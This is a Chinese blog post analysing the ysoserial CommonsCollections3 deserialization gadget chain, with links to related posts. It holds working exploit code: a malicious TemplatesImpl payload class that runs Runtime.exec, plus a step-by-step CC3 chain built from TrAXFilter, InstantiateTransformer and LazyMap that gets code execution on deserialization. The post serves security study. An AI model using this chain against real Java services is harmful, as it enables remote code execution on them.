YsoSerial 工具常用Payload分析之CC3(二)
这是CC链分析的第二篇文章,我想按着common-collections的版本顺序来介绍,所以顺序为 cc1、3、5、6、7(common-collections 3.1),cc2、4(common-collections4)。
打开YsoSerial payloads CommonsCollections3源码:
public Object getObject(final String command) throws Exception {
Object templatesImpl = Gadgets.createTemplatesImpl(command);
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
和CC1 代码对比:
只有 transformer生成逻辑不一样, 使用到了三个新的关键类InstantiateTransformer、TrAXFilter、TemplatesImpl。 所以我们重点看下着三个新类是干嘛的。
InstantiateTransformer
查看源代码:
从transfomer可知,先通过反射 getConstructor 获取传入对象的构造器,然后通过 newInstance 方法实例化对象,这么看InstantiateTransformer 近似与new。
写个使用例子,存在一个PersonBean.java ,里面的构造函数会打印我被初始化了。
public class PersonBean {
public PersonBean(){
System.out.println("我被初始化了");
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
private String name;
private int age;
}
用InstantiateTransformer 的方式生成instantiateTransformer 对象,写一个测试类方法
import org.apache.commons.collections.functors.InstantiateTransformer;
public class MainTrueTest {
public static void main(String[] args) {
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{}, new Object[]{});
instantiateTransformer.transform(PersonBean.class);
}
}
结果,构造方法被执行:
TemplatesImpl
这是一个JDK用于在处理xml文件用到的类,在Java 8u251后不能使用, 具体这个类的说明,以及高版本不能使用的原因可以看P神的这一篇文章。https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html
在之前用作命令执行的类是InvokerTransfomer,但在Common-collections爆出漏洞的时候很多黑名单都直接将InvokerTransfomer这个类拉黑了,所以需要寻找其他能够直接执行命令的类,于是安全人员就找到了这个类,TemplatesImpl的应用非常广泛,cc链2和3、fastjson不出网利用、jdk7u21等等,如果把Java反序列化漏洞比做一个考试的话,TemplatesImpl就肯定是个必考点。
前置知识——ClassLoader
先来了解一个前置知识,JVM在加载类的时候会用到ClassLoader,默认分为三种加载器:BootstrapClassLoader、 ExtClassLoader、 AppClassLoader 分别加载 Java 核心类库、扩展类库以及应用的类路径( CLASSPATH)下的类库,JVM通过双亲委派的机制进行类的加载,防止系统类被轻易篡改,我们也可以继承java.lang.classloader 实现自己的类加载器。
其中ClassLoader提供了几个重要的方法:
- loadClass(String classname) 委派调用父级loadClass,没找到就调用findClass()
- findClass() ,搜索类的位置,根据名称加载class字节码文件,调用defineClass()
- defineClass(), 将字节码转为class对象
调用顺序 loadClass -> findClass() -> defineClass(),出了classLoader可以加载类外还可以用Class.forName
,但存在区别,看代码:
[[Ljava.util.ArrayList;
同样是一个类数组,Class.forName()
可以加载,loadClass
不能,这也正是这两点区别之一,也正是这个区别决定了Shiro不能直接用CC链去打。
TemplatesImpl利用
前面介绍了ClassLoader的三种加载类的方法,在TemplatesImpl代码299行也存在一个defineClass()
,这个不亚于php中的eval,
line:299对一个私有变量_bytecodes
进行了加载,其中loader为一个自定义的TransletClassLoader
里面只重写了defineClass。
static final class TransletClassLoader extends ClassLoader {
TransletClassLoader(ClassLoader parent) {
super(parent);
}
/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}
_bytecodes
可以通过反射的方式进行赋值,看一下 299所在方法为defineTransletClasses()
, 共有三个地方调用该方法:
其中getTransletInstance()
在调用 后,还进行了.newInstance()
实例化操作。
这样类不但能被加载还能被实例化,满足_name
不为null,但getTransletInstance()
是一个私有方法,继续追踪有谁在调用这个方法:
public方法 newTransformer
有调用getTransletInstance(),那要把恶意类转化为byte数组赋值给_bytecodes
并调用newTransformer方法即可完成命令执行。
整理下命令执行的条件:
- 有地方调用newTransformer()
_name
不为null- 恶意类的父类为
org.apache.xalan.xsltc.runtime.AbstractTranslet
用自己的代码做下实验。
- 准备一个恶意类,继承
AbstractTranslet
:
package expUtils;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
/*
* 供TemplatesImpl 使用的poc代码
* */
public class TemplatesEvilClass extends AbstractTranslet {
private static final String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
static {
// 攻击代码
System.out.println("static : pwn!");
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
public TemplatesEvilClass(){
// 攻击代码
System.out.println("constructor: pwn!");
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
- 基于恶意类生成恶意TemplatesImpl对象
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import expUtils.ReflectUtils;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import static expUtils.ReflectUtils.getClassByte;
public class Test3 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException {
TemplatesImpl templates = new TemplatesImpl();
ReflectUtils.setFields(templates,"_name","9eek");
byte[] evilCode = getClassByte("sec-common/target/classes/expUtils/TemplatesEvilClass.class"); // 将文件字节码转为byte[]
byte[][] templatesEvilCode = new byte[][]{evilCode};
ReflectUtils.setFields(templates,"_bytecodes",templatesEvilCode);
templates.newTransformer(); // 验证代码执行
}
}
恶意代码成功执行:
这里其实有一个疑问,在cc3和其他使用TemplatesImpl利用的地方都会将_tfactory
赋值,目前我还不清楚为啥要这么做。
TrAXFilter
这个类是对XMLFilter的实现,而XMLFilter又是继承与XMLReader,那大概知道,可能是拿来做xml读取使用的,我们找到这个类的构造函数:
在构造函数中需要传入一个TransformerImpl对象,然后在 在构造函数中会对TransformerImpl执行newTransformer()
方法,这就和前面介绍的InstantiateTransformer和TemplatesImpl 结合了起来,我们只需要将CC1链中的InvokerTransformer换成InstantiateTransformer,将TrAXFilter赋给InstantiateTransformer.transformer的输入即可。
实现
我们自己实现一下:
第一步,生成恶意TemplatesImpl对象:
// 第一步 生成恶意TemplatesImpl 对象
TemplatesImpl templates = new TemplatesImpl();
ReflectUtils.setFields(templates,"_name","9eek");
byte[] evilCode = getClassByte("sec-common/target/classes/expUtils/TemplatesEvilClass.class"); // 将文件字节码转为byte[]
byte[][] templatesEvilCode = new byte[][]{evilCode};
ReflectUtils.setFields(templates,"_bytecodes",templatesEvilCode);
第二步 生成恶意chainTransformer
// 第二步 生成恶意chainTransformer
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(null);
第三步 绑定到动态代理增强到AnnotationInvocationHandler上
// 第三步
HashMap<string,string> hashMap = new HashMap<>();
hashMap.put("testKey","testVal");
Map evilMap = LazyMap.decorate(hashMap,chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler evilHandler = (InvocationHandler) constructor.newInstance(Target.class, evilMap); // 传入lazyMap
Map evilLazyMap = (Map) Proxy.newProxyInstance(Test2.class.getClassLoader(),evilMap.getClass().getInterfaces(),evilHandler);
InvocationHandler finalEvilHandler = (InvocationHandler) constructor.newInstance(Target.class, evilLazyMap); // 传入代理lazyMap
第四步 反序列化触发
String path = ExpUtils.serialize(finalEvilHandler);
ExpUtils.unserialize(path);
执行结果:
成功触发。
总结
CC3其实和CC1触发过程的后半段基本一致,区别在于前面生产transfomer数组使用的是TrAXFilter和TelmplatesImpl,可以在InvokerTransformer被拉黑的情况下,使用CC3。
</string,string>
YsoSerial 工具常用Payload分析之CC3(二)的更多相关文章
- YsoSerial 工具常用Payload分析之URLDNS
本文假设你对Java基本数据结构.Java反序列化.高级特性(反射.动态代理)等有一定的了解. 背景 YsoSerial是一款反序列化利用的便捷工具,可以很方便的生成基于多种环境的反序列化EXP.ja ...
- YsoSerial 工具常用Payload分析之CC1
前文介绍了最简单的反序列化链URLDNS,虽然URLDNS本身不依赖第三方包且调用简单,但不能做到漏洞利用,仅能做漏洞探测,如何才能实现RCE呢,于是就有Common-collections1-7.C ...
- YsoSerial 工具常用Payload分析之Common-Collections2、4(五)
前言 Common-Collections <= 3.2.1 对应与YsoSerial为CC1.3.5.6.7 ,Commno-collections4.0对应与CC2.4. 这篇文章结束官方原 ...
- YsoSerial 工具常用Payload分析之CC5、6(三)
前言 这是common-collections 反序列化的第三篇文章,这次分析利用链CC5和CC6,先看下Ysoserial CC5 payload: public BadAttributeValue ...
- YsoSerial 工具常用Payload分析之Common-Collections7(四)
前言 YsoSerial Common-Collection3.2.1 反序列化利用链终于来到最后一个,回顾一下: 以InvokerTranformer为基础通过动态代理触发AnnotationInv ...
- Adb工具常用操作-转(二)
一. PC与模拟器或真机交换文件(adb pull和adb push) 在开发阶段或其他原因,经常需要将PC上的文件复制到模拟器或真机上,或将模拟机和真机上的文件复制到PC上.使用adb pull和a ...
- Java应用常用性能分析工具
Java应用常用性能分析工具 好的工具有能有效改善和提高工作效率或加速分析问题的进度,笔者将从事Java工作中常用的性能工具和大家分享下,如果感觉有用记得投一票哦,如果你有好的工具也可以分享给我 工具 ...
- Fiddler抓取https请求 & Fiddler抓包工具常用功能详解
Fiddler抓取https请求 & Fiddler抓包工具常用功能详解 先来看一个小故事: 小T在测试APP时,打开某个页面展示异常,于是就跑到客户端开发小A那里说:“你这个页面做的有问 ...
- (转)Linux 系统性能分析工具图解读(一、二)
Linux 系统性能分析工具图解读(一.二) 原文:http://oilbeater.com/linux/2014/09/08/linux-performance-tools.html 最近看了 Br ...
随机推荐
- mybatis之Param注解
一.作用 使用@Param注解表示给参数命名,名称就是括号中的内容.给参数命名,然后在映射文件中就能根据名称获取参数值了.在mybatis中我们常常要使用到多个参数,但是在xml中的parameter ...
- 『言善信』Fiddler工具 — 10、Fiddler自动响应器(AutoResponder)的应用
目录 1.图片重定向 2.URL重定向 3.本地调试js文件 4.模拟Mock接口测试 5.综合练习 6.总结 介绍几个Fiddler自动响应器(AutoResponder)应用场景: 场景一:生产环 ...
- 自动化工具之Appium工具简单介绍
背景 自动化,性能测试,接口测试,开发平台等工作,到底测试的价值在哪里,其实价值来源不断充实与为大众服务,今天简单介绍ui小工具appium攻击. 简单介绍 Appium 是一个自动化测试开源工具,支 ...
- Java算法面试题(史上最强、持续更新、吐血推荐)
文章很长,建议收藏起来,慢慢读! 疯狂创客圈为小伙伴奉上以下珍贵的学习资源: 疯狂创客圈 经典图书 : <Netty Zookeeper Redis 高并发实战> 面试必备 + 大厂必备 ...
- 排查bug:竟然是同事把Redis用成这鬼样子,坑了我
首先说下问题现象:内网sandbox环境API持续1周出现应用卡死,所有api无响应现象 刚开始当测试抱怨环境响应慢的时候 ,我们重启一下应用,应用恢复正常,于是没做处理.但是后来问题出现频率越来越频 ...
- NOIP模拟测试15「建造城市city(插板法)·轰炸·石头剪刀布」
建造城市 题解 先思考一个简单问题 10个$toot$ 放进5间房屋,每个房屋至少有1个$toot$,方案数 思考:插板法,$10$个$toot$有$9$个缝隙,$5$间房屋转化为$4$个挡板,放在t ...
- 【NLP学习其一】什么是命名实体识别NER?
命名实体识别 概念 命名实体识别(Named Entity Recognition,简称NER) , 是指识别文本中具有特定意义的词(实体),主要包括人名.地名.机构名.专有名词等等,并把我们需要识别 ...
- Oracle对大表进行delete注意事项
如果对大表进行大量的delete和update,那么可以注意一下如下说明: (1) 查看执行计划,如果说删除的记录很多,走索引的成本会比全表扫描更大,因为更新数据时还需要做一些约束校验和创建index ...
- 微信获取信息发生错误(两个access_token的区别),错误代码:40001,说明:invalid credential, access_token is invalid or not latest hints
微信有两个access_token,一个是基础access_token,一个是网页授权access_token. 想要获取不带unionid的用户信息(以下链接)使用基础access_token ht ...
- 基于 electron 实现简单易用的抓包、mock 工具
背景 经常我们要去看一些页面所发出的请求时,经常会用到 Charles 做为抓包工具来进行接口抓取,但一方面市面是很多抓包工具都是收费或者无法二次开发的.当前我们团队大多数用的也都是 Charles, ...